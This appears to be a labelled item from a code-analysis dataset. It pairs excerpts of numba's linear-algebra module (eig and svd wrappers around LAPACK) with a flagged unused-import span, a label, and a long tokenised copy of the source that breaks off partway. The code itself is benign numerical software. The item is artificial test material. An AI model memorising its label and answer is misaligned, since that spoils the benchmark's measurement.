0:\n fatal_error_func()\n assert 0 # unreachable\n\n # By design numba does not support dynamic return types, however,\n # Numpy does. Numpy uses this ability in the case of returning\n # eigenvalues/vectors of a real matrix. The return type of\n # np.linalg.eig(), when operating on a matrix in real space\n # depends on the values present in the matrix itself (recalling\n # that eigenvalues are the roots of the characteristic polynomial\n # of the system matrix, which will by construction depend on the\n # values present in the system matrix). As numba cannot handle\n # the case of a runtime decision based domain change relative to\n # the input type, if it is required numba raises as below.\n if numpy.any(wi):\n raise ValueError(\n \"eig() argument must not cause a domain change.\")\n\n # put these in to help with liveness analysis,\n # `.ctypes` doesn't keep the vars alive\n acpy.size\n vl.size\n vr.size\n wr.size\n wi.size\n return (wr, vr.T)\n\n def cmplx_eig_impl(a):\n \"\"\"\n eig() implementation for complex arrays.\n \"\"\"\n n = a.shape[-1]\n if a.shape[-2] != n:\n msg = \"Last 2 dimensions of the array must be square.\"\n raise numpy.linalg.LinAlgError(msg)\n\n _check_finite_matrix(a)\n\n if F_layout:\n acpy = numpy.copy(a)\n else:\n acpy = numpy.asfortranarray(a)\n\n ldvl = 1\n ldvr = n\n w = numpy.empty(n, dtype=a.dtype)\n vl = numpy.empty((ldvl, n), dtype=a.dtype)\n vr = numpy.empty((ldvr, n), dtype=a.dtype)\n\n r = numba_ez_cgeev(kind,\n JOBVL,\n JOBVR,\n n,\n acpy.ctypes,\n n,\n w.ctypes,\n vl.ctypes,\n ldvl,\n vr.ctypes,\n ldvr)\n if r < 0:\n fatal_error_func()\n assert 0 # unreachable\n\n # put these in to help with liveness analysis,\n # `.ctypes` doesn't keep the vars alive\n acpy.size\n vl.size\n vr.size\n w.size\n return (w, vr.T)\n\n if isinstance(a.dtype, types.scalars.Complex):\n return cmplx_eig_impl\n else:\n return real_eig_impl", "metadata": "root.eig_impl", "header": "['module', '___EOS___']", "index": 758 }, { "content": " @overload(numpy.linalg.svd)\n def svd_impl(a, full_matrices=1):\n ensure_lapack()\n\n _check_linalg_matrix(a, \"svd\")\n\n F_layout = a.layout == 'F'\n\n # convert typing floats to numpy floats for use in the impl\n s_type = getattr(a.dtype, \"underlying_float\", a.dtype)\n if s_type.bitwidth == 32:\n s_dtype = numpy.float32\n else:\n s_dtype = numpy.float64\n\n numba_ez_gesdd_sig = types.intc(\n types.char, # kind\n types.char, # jobz\n types.intp, # m\n types.intp, # n\n types.CPointer(a.dtype), # a\n types.intp, # lda\n types.CPointer(s_type), # s\n types.CPointer(a.dtype), # u\n types.intp, # ldu\n types.CPointer(a.dtype), # vt\n types.intp # ldvt\n )\n\n numba_ez_gesdd = types.ExternalFunction(\"numba_ez_gesdd\",\n numba_ez_gesdd_sig)\n\n kind = ord(get_blas_kind(a.dtype, \"svd\"))\n\n JOBZ_A = ord('A')\n JOBZ_S = ord('S')\n\n def svd_impl(a, full_matrices=1):\n n = a.shape[-1]\n m = a.shape[-2]\n\n _check_finite_matrix(a)\n\n if F_layout:\n acpy = numpy.copy(a)\n else:\n acpy = numpy.asfortranarray(a)\n\n ldu = m\n minmn = min(m, n)\n\n if full_matrices:\n JOBZ = JOBZ_A\n ucol = m\n ldvt = n\n else:\n JOBZ = JOBZ_S\n ucol = minmn\n ldvt = minmn\n\n u = numpy.empty((ucol, ldu), dtype=a.dtype)\n s = numpy.empty(minmn, dtype=s_dtype)\n vt = numpy.empty((n, ldvt), dtype=a.dtype)\n\n r = numba_ez_gesdd(\n kind, # kind\n JOBZ, # jobz\n m, # m\n n, # n\n acpy.ctypes, # a\n m, # lda\n s.ctypes, # s\n u.ctypes, # u\n ldu, # ldu\n vt.ctypes, # vt\n ldvt # ldvt\n )\n if r < 0:\n fatal_error_func()\n assert 0 # unreachable\n\n # help liveness analysis\n acpy.size\n vt.size\n u.size\n s.size\n\n return (u.T, s, vt.T)\n\n return svd_impl", "metadata": "root.svd_impl", "header": "['module', '___EOS___']", "index": 916 } ]
[ { "span": "from numba.targets.imputils import (lower_builtin, impl_ret_borrowed,\n impl_ret_new_ref, impl_ret_untracked)", "start_line": 14, "start_column": 0, "end_line": 15, "end_column": 73 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Implementation", " ", "of", " ", "linear", " ", "algebra", " ", "operati", "ons", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "print", "\\u", "function_", ",_", "abs", "olute", "\\u", "import_", ",_", "division_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "contextlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "llvm", "lite_", "import_", "ir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "numba_", "import_", "jit_", ",_", "types_", ",_", "cg", "utils_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "numba_", "._", "targets_", "._", "imput", "ils_", "import_", "(_", "lower", "\\u", "builtin_", ",_", "impl", "\\u", "ret", "\\u", "borrow", "ed_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "impl", "\\u", "ret", "\\u", "new", "\\u", "ref_", ",_", "impl", "\\u", "ret", "\\u", "untracked", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "numba_", "._", "typing_", "import_", "signature_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "numba_", "._", "extend", "ing_", "import_", "overload", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "numba_", "._", "nump", "y", "\\u", "support_", "import_", "version_", "as_", "nump", "y", "\\u", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "numba_", "import_", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "array", "obj_", "import_", "make", "\\u", "array_", ",_", "\\u", "empty", "\\u", "nd", "\\u", "impl_", ",_", "array", "\\u", "copy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "errors_", "import_", "Typ", "ing", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "char_", "=_", "ir_", "._", "Int", "Type_", "(_", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ll", "\\u", "char", "\\u", "p_", "=_", "ll", "\\u", "char_", "._", "as", "\\u", "pointer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ll", "\\u", "voi", "d\\u", "p_", "=_", "ll", "\\u", "char", "\\u", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ll", "\\u", "int", "c_", "=_", "ir_", "._", "Int", "Type_", "(_", "32_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ll", "\\u", "int", "c\\u", "p_", "=_", "ll", "\\u", "int", "c_", "._", "as", "\\u", "pointer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "intp", "\\u", "t_", "=_", "cg", "utils_", "._", "intp", "\\u", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ll", "\\u", "intp", "\\u", "p_", "=_", "intp", "\\u", "t_", "._", "as", "\\u", "pointer_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "bla", "s", "\\u", "kinds", "_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "float32_", ":_", "'", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "float64_", ":_", "'", "d", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "complex", "64_", ":_", "'", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "complex", "128_", ":_", "'", "z", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\u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\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fat", "al", "\\u", "error", "\\u", "sig_", "=_", "types_", "._", "int", "c_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fat", "al", "\\u", "error", "\\u", "func_", "=_", "types_", "._", "Exter", "nal", "Function_", "(_", "\"", "numb", "a", "\\u", "fat", "al", "\\u", "error", "\"_", ",_", "fat", "al", "\\u", "error", "\\u", "sig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "nump", "y", "\\u", "version_", ">=_", "(_", "1_", ",_", "8_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get", "\\u", "bla", "s", "\\u", "kind_", "(_", "dtype_", ",_", "func", "\\u", "name_", "=_", "\"<", "BLAS", " ", "function", ">\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kind_", "=_", "\\u", "bla", "s", "\\u", "kinds", "_", "._", "get_", "(_", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "kind_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "unsup", "porte", "d", " ", "dt", "ype", " ", "for", " ", "%", "s", "()\"_", "%_", "(_", "func", "\\u", "name_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "kind_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ensure", "\\u", "bla", "s_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "scipy_", "._", "linalg_", "._", "cython", "\\u", "bla", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Import", "Error_", "(_", "\"", "sci", "py", " ", "0.16", "+", " ", "is", " ", "require", "d", " ", "for", " ", "linear", " ", "algebra", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ensure", "\\u", "lap", "ack_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "scipy_", "._", "linalg_", "._", "cython", "\\u", "lap", "ack_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Import", "Error_", "(_", "\"", "sci", "py", " ", "0.16", "+", " ", "is", " ", "require", "d", " ", "for", " ", "linear", " ", "algebra", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "\\u", "constant", "\\u", "slot_", "(_", "context_", ",_", "builder_", ",_", "ty_", ",_", "val_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "const_", "=_", "context_", "._", "get", "\\u", "constant", "\\u", "generic_", "(_", "builder_", ",_", "ty_", ",_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cg", "utils_", "._", "allo", "ca", "\\u", "onc", "e\\u", "value_", "(_", "builder_", ",_", "const_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "contextlib_", "._", "contextmanager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "make", "\\u", "contiguous", "_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Ensur", "e", " ", "tha", "t", " ", "all", " ", "array", " ", "argu", "ment", "s", " ", "are", " ", "contiguous", ",", " ", "if", " ", "necessar", "y", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "copy", "ing", " ", "them", ".", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "new", " ", "(", "sig", ",", " ", "args", ")", " ", "tuple", " ", "is", " ", "yield", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newt", "ys_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newa", "rgs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "copie", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ty_", ",_", "val_", "in_", "zip_", "(_", "sig_", "._", "args_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "isinstance_", "(_", "ty_", ",_", "types_", "._", "Array_", ")_", "or_", "ty_", "._", "layout_", "in_", "'", "CF", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newt", "y_", ",_", "newval", "_", "=_", "ty_", ",_", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "newt", "y_", "=_", "ty_", "._", "copy_", "(_", "layout_", "=_", "'", "C", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "copy", "sig_", "=_", "signature_", "(_", "newt", "y_", ",_", "ty_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newval", "_", "=_", "array", "\\u", "copy_", "(_", "context_", ",_", "builder_", ",_", "copy", "sig_", ",_", "(_", "val_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "copie", "s_", "._", "append_", "(_", "(_", "newt", "y_", ",_", "newval", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "newt", "ys_", "._", "append_", "(_", "newt", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "newa", "rgs_", "._", "append_", "(_", "newval", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "signature_", "(_", "sig_", "._", "return", "\\u", "type_", ",_", "*_", "newt", "ys_", ")_", ",_", "tuple_", "(_", "newa", "rgs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ty_", ",_", "val_", "in_", "copie", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "._", "nr", "t", "\\u", "decre", "f_", "(_", "builder_", ",_", "ty_", ",_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "c\\u", "int_", "(_", "context_", ",_", "builder_", ",_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Check", " ", "whe", "ther", " ", "*", "n", "*", " ", "fits", " ", "in", " ", "a", " ", "C", " ", "`", "int", "`.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "maxint_", "=_", "2_", "**_", "31_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "impl_", "(_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "n_", ">_", "\\u", "maxint_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Over", "flow", "Error_", "(_", "\"", "array", " ", "size", " ", "too", " ", "large", " ", "to", " ", "fit", " ", "in", " ", "C", " ", "int", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "context_", "._", "compile", "\\u", "internal_", "(_", "builder_", ",_", "impl_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "signature_", "(_", "types_", "._", "none_", ",_", "types_", "._", "intp", "_", ")_", ",_", "(_", "n_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "bla", "s", "\\u", "return_", "(_", "context_", ",_", "builder_", ",_", "res_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Check", " ", "the", " ", "integ", "er", " ", "error", " ", "return", " ", "from", " ", "one", " ", "of", " ", "the", " ", "BLAS", " ", "wrapp", "ers", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "\\u", "help", "erl", "ib", ".", "c", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "builder_", "._", "if", "\\u", "then_", "(_", "cg", "utils_", "._", "is", "\\u", "not", "\\u", "null_", "(_", "builder_", ",_", "res_", ")_", ",_", "like", "ly_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Tho", "se", " ", "error", "s", " ", "shou", "ld", "n", "'", "t", " ", "happ", "en", ",", " ", "it", "'", "s", " ", "easi", "er", " ", "to", " ", "just", " ", "abort", " ", "the", " ", "process_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pya", "pi_", "=_", "context_", "._", "get", "\\u", "python", "\\u", "api_", "(_", "builder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pya", "pi_", "._", "gil", "\\u", "ensure", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pya", "pi_", "._", "fat", "al", "\\u", "error_", "(_", "\"", "BLAS", " ", "wrapp", "er", " ", "return", "ed", " ", "with", " ", "an", " ", "error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "\\u", "lap", "ack", "\\u", "return_", "(_", "context_", ",_", "builder_", ",_", "res_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Check", " ", "the", " ", "integ", "er", " ", "error", " ", "return", " ", "from", " ", "one", " ", "of", " ", "the", " ", "LA", "PACK", " ", "wrapp", "ers", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "\\u", "help", "erl", "ib", ".", "c", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "builder_", "._", "if", "\\u", "then_", "(_", "cg", "utils_", "._", "is", "\\u", "not", "\\u", "null_", "(_", "builder_", ",_", "res_", ")_", ",_", "like", "ly_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Tho", "se", " ", "error", "s", " ", "shou", "ld", "n", "'", "t", " ", "happ", "en", ",", " ", "it", "'", "s", " ", "easi", "er", " ", "to", " ", "just", " ", "abort", " ", "the", " ", "process_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pya", "pi_", "=_", "context_", "._", "get", "\\u", "python", "\\u", "api_", "(_", "builder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pya", "pi_", "._", "gil", "\\u", "ensure", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pya", "pi_", "._", "fat", "al", "\\u", "error_", "(_", "\"", "LA", "PACK", " ", "wrapp", "er", " ", "return", "ed", " ", "with", " ", "an", " ", "error", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "\\u", "xx", "dot_", "(_", "context_", ",_", "builder_", ",_", "conjugate", "_", ",_", "dtype_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "n_", ",_", "a", "\\u", "data_", ",_", "b", "\\u", "data_", ",_", "out", "\\u", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Call", " ", "the", " ", "BLAS", " ", "vector", " ", "*", " ", "vector", " ", "product", " ", "function", " ", "for", " ", "the", " ", "give", "n", " ", "argu", "ment", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn", "ty_", "=_", "ir_", "._", "Function", "Type_", "(_", "ir_", "._", "Int", "Type_", "(_", "32_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "ll", "\\u", "char_", ",_", "ll", "\\u", "char_", ",_", "intp", "\\u", "t_", ",_", "#", " ", "kind", ",", " ", "conjugate", ",", " ", "n_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "#", " ", "a", ",", " ", "b", ",", " ", "out_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "builder_", "._", "module_", "._", "get", "\\u", "or", "\\u", "insert", "\\u", "function_", "(_", "fn", "ty_", ",_", "name_", "=_", "\"", "numb", "a", "\\u", "xx", "dot", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "kind_", "=_", "get", "\\u", "bla", "s", "\\u", "kind_", "(_", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kind", "\\u", "val_", "=_", "ir_", "._", "Constant_", "(_", "ll", "\\u", "char_", ",_", "ord_", "(_", "kind_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conjugate", "_", "=_", "ir_", "._", "Constant_", "(_", "ll", "\\u", "char_", ",_", "int_", "(_", "conjugate", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "res_", "=_", "builder_", "._", "call_", "(_", "fn_", ",_", "(_", "kind", "\\u", "val_", ",_", "conjugate", "_", ",_", "n_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "a", "\\u", "data_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "b", "\\u", "data_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "out", "\\u", "data_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "\\u", "bla", "s", "\\u", "return_", "(_", "context_", ",_", "builder_", ",_", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "\\u", "xx", "gem", "v_", "(_", "context_", ",_", "builder_", ",_", "do", "\\u", "trans_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "m", "\\u", "type_", ",_", "m", "\\u", "shapes_", ",_", "m", "\\u", "data_", ",_", "v", "\\u", "data_", ",_", "out", "\\u", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Call", " ", "the", " ", "BLAS", " ", "matrix", " ", "*", " ", "vector", " ", "product", " ", "function", " ", "for", " ", "the", " ", "give", "n", " ", "argu", "ment", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn", "ty_", "=_", "ir_", "._", "Function", "Type_", "(_", "ir_", "._", "Int", "Type_", "(_", "32_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "ll", "\\u", "char_", ",_", "ll", "\\u", "char", "\\u", "p_", ",_", "#", " ", "kind", ",", " ", "trans_", "\\u\\u\\uNL\\u\\u\\u_", "intp", "\\u", "t_", ",_", "intp", "\\u", "t_", ",_", "#", " ", "m", 